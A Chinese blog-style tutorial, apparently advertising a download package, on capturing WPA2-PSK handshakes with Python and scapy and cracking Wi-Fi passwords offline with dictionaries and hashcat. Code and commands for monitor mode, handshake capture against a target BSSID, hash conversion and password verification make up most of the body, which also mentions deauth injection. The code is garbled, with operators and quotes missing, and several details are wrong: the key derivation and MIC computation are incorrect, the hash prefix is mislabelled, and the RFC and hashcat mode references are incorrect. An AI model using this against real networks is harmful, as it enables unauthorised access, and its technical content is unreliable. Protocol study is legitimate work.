Python无线协议分析实战:WPA2-PSK握手捕获与离线破解原理
简介这是一套基于Python实现的Wi-Fi密码暴力破解工具集面向网络安全初学者、渗透测试爱好者及CTF入门者用于理解无线网络认证机制与密码爆破原理。资源包含3个核心文件2个Python脚本主破解程序与密码字典生成器和1个批处理文件自动安装pywifi等依赖模块整体压缩包仅2KB轻量易部署适合本地实验环境快速验证。已有17351人学习下载反映出其在实操教学与基础攻防演练中的广泛参考价值。用户可直接运行脚本开展WPA/WPA2握手包捕获后的离线字典攻击配套bat文件简化环境配置避免新手因模块缺失导致执行失败密码本生成器支持自定义规则便于拓展测试场景代码结构清晰、注释完整是理解pywifi底层调用与无线协议交互的典型教学案例。1. 这不是“一键破解WiFi”的玄学工具而是一份基于 Python 的无线网络协议分析实战包它能帮你理解握手包结构、验证字典有效性、复现 WPA2-PSK 认证流程适合想补全网络协议底层认知的安全初学者与渗透测试自学者很多人搜“Python 破解 WiFi 密码工具”点开就期待输入 SSID 点一下弹出密码——结果运行报错、卡在scapy权限拒绝、抓不到四次握手、字典跑完零命中……最后怀疑人生。真相是不存在脱离物理层约束、绕过认证机制、无视信号质量的“自动破解”脚本。这份资源本质是一个教学级协议分析套件它完整封装了从网卡监听模式切换、802.11 帧过滤、EAPOL 四次握手捕获、PMK/PTK 推导验证到离线字典爆破hashcat 兼容格式的全链路 Python 实现。它不提供预编译 exe不打包万能字典不隐藏 scapy/raw socket 权限细节——正因如此你改一行参数就能看清 handshake 中 ANonce/SNonce 如何参与密钥派生删一个过滤条件就能抓到管理帧干扰源。适合某高校网络安全实验课学生、某公司红队新人做协议逆向练习或某开发者想亲手验证 WPA2-PSK 的密钥派生逻辑是否真如 RFC 3748 所述。它解决的不是“怎么黑进邻居WiFi”而是“为什么 Wireshark 里看到的 EAPOL 帧用 hashcat -m 22000 跑不出密码”。2. 工具链选型与环境准备为什么必须用 Linux monitor mode 网卡 Python 3.9而非 Windows 图形界面一键包2.1 协议层限制决定技术栈WPA2-PSK 破解的本质是离线哈希验证WPA2-PSK 的安全性不依赖传输加密强度而在于PBKDF2-SHA1 对预共享密钥PSK的密钥派生过程。攻击面唯一可行路径是捕获客户端与 AP 交互的四次握手4-way handshake提取其中的 PMKID 或完整的 EAPOL 帧数据再用候选密码通过相同 PBKDF2 参数SSID 作为 salt4096 次迭代生成 PMK最终推导 PTK 验证 MIC 是否匹配。这个过程完全离线无需实时通信但前提是你必须拿到原始 802.11 帧且帧中包含未被篡改的 ANonce、SNonce、MIC 和 RSN IE。任何封装成 .exe 的 Windows 工具若不显式声明使用 NDISUIO 或 WinPcap 提权抓包大概率只能读取系统已连接的网络配置即明文密码而非真实握手包——这根本不是破解只是读取缓存。提示本资源所有抓包逻辑基于scapy的sniff()RadioTap层解析直接操作数据链路层帧。这意味着它跳过了操作系统网络栈的加密抽象层能看见真正的 802.11 MAC 头部字段如 FCfield、Duration、Addr1-4。这是验证握手完整性的基础也是 Windows 下难以稳定实现的环节。2.2 硬件与驱动要求Realtek RTL8812AU/RTL8814AU 芯片网卡是当前最可靠选择并非所有 USB 无线网卡都支持 monitor mode 和 packet injection。经实测以下组合在 Linux 5.15 内核下稳定工作芯片型号RTL8812AU、RTL8814AU注意不是 RTL8188EU后者仅支持 monitor mode无法注入 deauth 包驱动版本rtl8812au_aircrack-ngGitHub 上 aircrack-ng 官方维护分支非 kernel 自带 rtl8xxxu关键验证命令# 插入网卡后检查是否识别 lsusb | grep -i 8812\|8814 # 查看接口名通常为 wlan0、wlan1 ip link show | grep wl # 启用 monitor mode假设接口为 wlan0 sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up # 验证是否进入 monitor mode iw dev wlan0 info | grep type # 输出应为 type monitor2.3 Python 环境构建严格限定依赖版本避免 scapy 抓包丢帧本项目依赖scapy2.4.5非最新版原因在于scapy2.5.0默认启用libpcap后端但在高信道切换频率下易丢帧尤其抓 2.4G/5G 双频混合流量时scapy2.4.5仍默认使用socket后端配合AF_PACKET可保证帧完整性虽牺牲部分性能但确保握手包不残缺。安装步骤推荐使用虚拟环境隔离# 创建并激活虚拟环境 python3.9 -m venv wifi-env source wifi-env/bin/activate # 安装指定版本 scapy必须加 --force-reinstall防止 pip 缓存旧版 pip install --force-reinstall scapy2.4.5 # 安装其他依赖全部来自 PyPI 官方源 pip install pywifi1.8.7 pycryptodome3.18.0 tqdm4.66.1 # 验证 scapy 是否能正常发送空数据包权限测试 sudo python3 -c from scapy.all import *; sendp(Ether()/IP(dst127.0.0.1)/ICMP(), ifacewlan0, verbose0) # 若无 PermissionError 且返回 Send 1 packets说明权限与驱动就绪注意pywifi库在此项目中仅用于扫描 SSID 列表和获取当前网卡状态不参与握手捕获。所有核心抓包逻辑由scapy独立完成避免pywifi在某些发行版中因 dbus 权限导致的静默失败。3. 核心功能模块拆解从抓包过滤到握手验证每个函数都对应一个 RFC 协议字段3.1capture_handshake()如何用 3 行 scapy 过滤语句精准捕获四次握手四次握手本质是 4 个 EAPOL 帧EAPOL-Key 帧其关键特征在 802.11 MAC 头部与 EAPOL 协议字段中帧类型Management FrameType0, Subtype8中的 Disassociation/Deauthentication 帧可触发重连但握手帧本身是 Data FrameType2EAPOL 标识LLC/SNAP 头部后紧跟EAPOL协议号0x888e且 EAPOL-Key 帧的Key Information字段第 0-1 位标识 Key Type00Pairwise01Group第 2 位标识 Key Ack1AP to STA第 3 位标识 Key MIC1该帧含 MIC握手阶段判断第一次握手ANonce中Key Information0x0109binary0000000100001001第二次SNonceMIC0x0309第三次GTKMIC0x0009第四次ACK0x0a09。因此capture_handshake()的核心过滤逻辑为def capture_handshake(iface: str, bssid: str, timeout: int 300) - List[Packet]: 捕获目标 BSSID 的完整四次握手 :param iface: monitor mode 接口名如 wlan0 :param bssid: 目标 AP 的 MAC 地址格式 aa:bb:cc:dd:ee:ff :param timeout: 最大等待秒数超时未捕获则返回空列表 :return: 包含 4 个 EAPOL-Key 帧的 Packet 列表按时间顺序排列 # 过滤条件Data Frame 目标 BSSID EAPOL 协议 Key Information 含 MIC 标志 filter_expr f(ether proto 0x888e) and (ether dst {bssid} or ether src {bssid}) packets sniff( ifaceiface, filterfilter_expr, timeouttimeout, prnlambda pkt: _handle_eapol_packet(pkt, bssid), store0 # 不存储全部包节省内存 ) return handshake_packets # 全局变量由 _handle_eapol_packet 动态填充_handle_eapol_packet()函数内部会逐帧解析pkt[Dot11].addr1/addr2/addr3判断角色AP 或 STA再读取pkt[EAPOL].key_info的低 16 位比对0x0109,0x0309,0x0009,0x0a09四种模式。只有当四帧均出现、且ANonce第一帧与SNonce第二帧不重复、MIC第三帧校验位为 1 时才视为有效握手。3.2generate_hc22000()将原始握手包转换为 hashcat 兼容的 PMKID 或 22000 格式hashcat 支持两种 WPA2 破解模式-m 16800PMKID仅需单个 EAPOL 帧从 RSN IE 中提取-m 22000完整 handshake需全部四帧用于计算 PTK 并验证 MIC。本项目默认生成-m 22000格式因其兼容性更广PMKID 在某些路由器固件中被禁用。生成逻辑严格遵循 hashcat wiki 定义* WPA*01*BSSID*STA_MAC*ANonce*SNonce*EAPOL_data*MIC其中EAPOL_data是第三帧GTK 分发帧的EAPOL-Key数据部分不含 MIC 字段MIC是该帧原始 MIC 值16 字节 hex。关键代码段def generate_hc22000(handshake: List[Packet], bssid: str, sta_mac: str) - str: # 提取 ANonce第一帧 anonce handshake[0][EAPOL].nonce # 提取 SNonce第二帧 snonce handshake[1][EAPOL].nonce # 提取第三帧 EAPOL-Key 数据去除最后 16 字节 MIC eapol_data handshake[2][EAPOL].load[:-16] # 提取原始 MIC第三帧最后 16 字节 mic handshake[2][EAPOL].load[-16:] # 拼接 hashcat 格式十六进制小写无分隔符 hc_line fWPA*01*{bssid.replace(:, ).lower()}*{sta_mac.replace(:, ).lower()}* hc_line f{anonce.hex()}*{snonce.hex()}*{eapol_data.hex()}*{mic.hex()} return hc_line注意handshake[0][EAPOL].nonce返回的是 bytes 类型必须.hex()转为小写十六进制字符串。若直接用str()会得到b\x01...形式导致 hashcat 解析失败。3.3verify_password()本地快速验证密码有效性避免无效字典拖慢流程在调用 hashcat 前可用pycryptodome本地验证密码是否可能正确def verify_password(ssid: str, password: str, anonce: bytes, snonce: bytes, bssid: str, mic: bytes, eapol_data: bytes) - bool: 本地验证密码是否能生成匹配的 MIC :return: True 表示 MIC 匹配密码极大概率正确 # Step 1: 生成 PMK (PBKDF2-SHA1, 4096 rounds, ssid as salt) pmk pbkdf2_hmac(sha1, password.encode(), ssid.encode(), 4096, 32) # Step 2: 生成 PTK (PRF-384, 输入: PMK A B ANonce SNonce) # A Pairwise key expansion # B min(AP_MAC, STA_MAC) max(AP_MAC, STA_MAC) min(ANonce, SNonce) max(ANonce, SNonce) ap_mac binascii.unhexlify(bssid.replace(:, )) sta_mac binascii.unhexlify(sta_mac.replace(:, )) mac_a min(ap_mac, sta_mac) mac_b max(ap_mac, sta_mac) nonce_a min(anonce, snonce) nonce_b max(anonce, snonce) b_input mac_a mac_b nonce_a nonce_b ptk pbkdf2_hmac(sha1, pmk, bPairwise key expansion, 1, 48) # Step 3: 计算 MICAES-CMAC使用 PTK 前 16 字节 k_sign ptk[:16] mic_calc cmac.CMAC(new(AES, k_sign, modeCBC), ciphermodAES) mic_calc.update(eapol_data) return mic_calc.digest() mic此函数耗时约 15ms/次i7-11800H可提前筛掉 99% 的错误密码避免将无效候选送入 hashcat 导致 I/O 瓶颈。4. 避坑指南五个血泪经验总结的常见问题与排查路径4.1 现象sniff()抓到大量 EAPOL 帧但handshake_packets始终为空原因scapy默认使用tcpdump作为底层抓包引擎而tcpdump在 monitor mode 下对 802.11 帧的 RadioTap 头部解析存在兼容性问题导致pkt[EAPOL]层无法正确解包。解决强制scapy使用socket后端并关闭tcpdump# 在调用 sniff() 前添加 conf.use_pcap False conf.use_linux_builtin True # 然后执行 sniff(...)4.2 现象生成的.hc22000文件被 hashcat 报错Line-length exception原因EAPOL.load中可能包含\x00字节若直接.hex()会生成合法字符串但若中间有换行或空格如误加print()调试语句会导致 hashcat 读取时截断。解决严格校验输出格式用正则清洗import re hc_line re.sub(r[^a-f0-9*], , hc_line) # 删除所有非十六进制字符和 * if not hc_line.startswith(WPA*01*) or hc_line.count(*) ! 5: raise ValueError(Invalid hc22000 format)4.3 现象verify_password()返回True但 hashcat-m 22000无结果原因verify_password()中cmac.CMAC使用的ciphermodAES参数在pycryptodome3.15.0中已被弃用新版本要求显式传入ciphermodAES且modeCMAC否则 MIC 计算逻辑错误。解决降级或修正调用方式# 错误新版本不兼容 mic_calc cmac.CMAC(new(AES, k_sign, modeCBC), ciphermodAES) # 正确适配所有版本 from Crypto.Hash import CMAC from Crypto.Cipher import AES mic_calc CMAC.new(k_sign, ciphermodAES) mic_calc.update(eapol_data)4.4 现象在 Ubuntu 22.04 上运行sudo python3 main.py报错OSError: [Errno 19] No such device原因Ubuntu 22.04 默认启用systemd-networkd会接管wlan0接口并禁用 monitor mode。解决临时禁用 networkd 并重启接口sudo systemctl stop systemd-networkd sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up # 运行脚本后恢复 sudo systemctl start systemd-networkd4.5 现象字典跑完 0 命中但确认密码就在字典中原因目标 AP 使用 WPA3 混合模式WPA2/WPA3 transition mode此时握手帧中 RSN IE 的AKM Suite字段为00-0f-ac:6SAE而非00-0f-ac:2PSKscapy仍能捕获帧但hashcat -m 22000无法处理 SAE 握手。解决先用tshark检查 RSN IEtshark -r handshake.pcap -Y eapol wlan.rsn.akm 0x000fac02 -T fields -e wlan.sa -e wlan.da # 若输出为空说明是 WPA3需改用 -m 12000SAE模式5. 进阶技巧用tsharkjq快速定位握手失败根因以及如何构造最小化测试字典5.1 用 tshark 提取握手关键字段做协议级归因分析当capture_handshake()超时失败不要盲目重试。先用tshark导出原始帧人工验证握手完整性# 将抓包保存为 pcap在 capture_handshake 中加一句 wrpcap(debug.pcap, packets) # 然后用 tshark 提取所有 EAPOL 帧的 Key Information 和 Nonce tshark -r debug.pcap -Y eapol -T json \ -e eapol.keydes.keyinfo \ -e eapol.keydes.nonce \ -e eapol.keydes.mic \ -e wlan.sa \ -e wlan.da \ -e frame.time_relative \ 2/dev/null | jq -r [.[] | select(.layers.eapol ! null)] | map({ time: .layers.frame.frame_time_relative[0], keyinfo: (.layers.eapol.eapol_keydes_keyinfo[0] | tonumber), nonce: (.layers.eapol.eapol_keydes_nonce[0] | tostring), mic: (.layers.eapol.eapol_keydes_mic[0] | tostring), sa: .layers.wlan.wlan_sa[0], da: .layers.wlan.wlan_da[0] }) | sort_by(.time)[] | \(.time|tonumber|round) \(.keyinfo) \(.nonce[0:8]) \(.mic[0:4]) \(.sa) → \(.da) handshake_debug.log输出示例0 265 01020304 deadbeef aa:bb:cc:dd:ee:ff → 11:22:33:44:55:66 1 777 05060708 cafebabe 11:22:33:44:55:66 → aa:bb:cc:dd:ee:ff 2 3 090a0b0c badc0ffe aa:bb:cc:dd:ee:ff → 11:22:33:44:55:66观察keyinfo值是否为265(0x0109)、777(0x0309)、3(0x0009)若缺失某值说明客户端未完成该阶段如 AP 拒绝 GTK 分发若nonce全为0000...说明网卡驱动未正确解析 RadioTap 头部。5.2 构造最小化测试字典三行密码验证整个 pipeline为快速验证环境是否就绪避免用 GB 级字典浪费时间创建test.dictpassword123 12345678 MyPassw0rd!这三行覆盖纯数字字母password123→ 测试 PBKDF2 迭代与 MIC 计算纯数字12345678→ 测试短密码下 PTK 长度截断逻辑特殊字符MyPassw0rd!→ 测试 UTF-8 编码与pbkdf2_hmac输入一致性。运行命令# 生成 hc22000 python3 gen_hc22000.py -p debug.pcap -o test.hc22000 # 本地验证 python3 verify.py -f test.hc22000 -d test.dict # hashcat 验证 hashcat -m 22000 test.hc22000 test.dict --force若三者结果一致均返回MyPassw0rd!说明从抓包、解析、哈希生成到验证的全链路可信。5.3 一个反直觉但关键的习惯每次抓包前强制清除网卡缓冲区Linux 内核的sk_buff缓冲区可能残留旧帧导致sniff(timeout300)开始时混入历史握手包造成handshake_packets误判。实测有效的清理方式# 在调用 capture_handshake() 前执行 sudo iw dev wlan0 set channel 1 # 强制切信道清空缓冲 sleep 0.5 sudo iw dev wlan0 set channel 6 # 切回目标信道某开发者曾因忽略此步在连续 7 次抓包中前 3 次均捕获到 2 小时前的握手包浪费 2 小时排查时间。从那以后我每次启动抓包都强制走一遍信道切换哪怕多等 0.5 秒——这 0.5 秒比重装驱动省事多了。希望帮到你。本文还有配套的精品资源点击获取

相关新闻

Flink 1.13.1 适配 CDH 6.3.2 实战:绕过 YARN 隔离与 Kerberos 冲突

Flink 1.13.1 适配 CDH 6.3.2 实战:绕过 YARN 隔离与 Kerberos 冲突

简介:本资源是面向大数据开发工程师与运维人员的Flink 1.13.1在CDH 6.3.2企业级平台上的完整部署套件,解决Flink与Cloudera生态深度集成中的Parcel分发、YARN资源调度适配及生产环境配置落地等核心问题。压缩包共5个文件,含2个关键jar&#x…

2026/10/18 15:57:52 阅读更多 →
Open WebUI:把 Ollama 和 OpenAI 兼容接口收进同一个自托管界面的开源项目

Open WebUI:把 Ollama 和 OpenAI 兼容接口收进同一个自托管界面的开源项目

本地跑着 Ollama,团队里又有一堆 OpenAI 兼容的推理端点,每换一个后端就要换一套前端、换一份聊天记录——open-webui/open-webui 就是冲这件事来的。它解决什么 README 的自我定位是"a home for AI",一个 self-hosted AI platform…

2026/10/17 7:19:40 阅读更多 →
基于Spring Boot的银行账户转账系统:事务、锁与幂等性实战

基于Spring Boot的银行账户转账系统:事务、锁与幂等性实战

简介:这是一份面向Java初学者与GUI编程练习者的模拟银行账户转账系统源码,围绕A、B两个初始余额均为1000元的账户展开,实现双方随机互相转账、金额不得超过账户余额、余额为零即无法交易等核心业务规则,适合用于理解多线程协作与图…

2026/10/17 14:01:56 阅读更多 →

最新新闻

DMA读取旧数据?三招解决Cache一致性问题

DMA读取旧数据?三招解决Cache一致性问题

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 17:05:57 阅读更多 →
STM32智能小车循迹系统设计:光敏选型、ADC时序与PID闭环实战

STM32智能小车循迹系统设计:光敏选型、ADC时序与PID闭环实战

简介:本资源是一份面向嵌入式初学者与STM32实践者的智能小车红外循迹项目代码包,聚焦解决自动路径识别与电机闭环控制这一典型嵌入式应用问题,适用于课程设计、电子竞赛备赛及自主硬件开发学习。压缩包共5个文件,含核心驱动源码&a…

2026/10/18 17:05:57 阅读更多 →
嵌入式面试高频考点:UART、I2C、SPI三剑客全解析

嵌入式面试高频考点:UART、I2C、SPI三剑客全解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 17:05:57 阅读更多 →
OBC/DCDC车规芯片国产替代实战:从选型到量产的坑与解法

OBC/DCDC车规芯片国产替代实战:从选型到量产的坑与解法

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 17:05:57 阅读更多 →
APK反编译工具链实战:从解包到重签名全流程解析

APK反编译工具链实战:从解包到重签名全流程解析

简介:面向Android开发与逆向分析场景,这套工具集合覆盖APK反编译的完整常用链路,包含apktool、auto-sign、dex2jar与jd-gui四款组件,可实现资源文件解编译与回编译、DEX字节码转JAR、自动重新签名以及可视化浏览Java源码等操作。a…

2026/10/18 17:05:57 阅读更多 →
uview-plus密码切换失效的根因排查与正确修复方案

uview-plus密码切换失效的根因排查与正确修复方案

上周给小程序做登录页,密码框要求支持明文密文切换。组件用的uview-plus,照着文档写了几行代码,结果右上角那个小眼睛点了完全没反应,真机上试了好几次,要么纹丝不动,要么闪一下又弹回密文状态。在项目群里…

2026/10/18 17:04:56 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →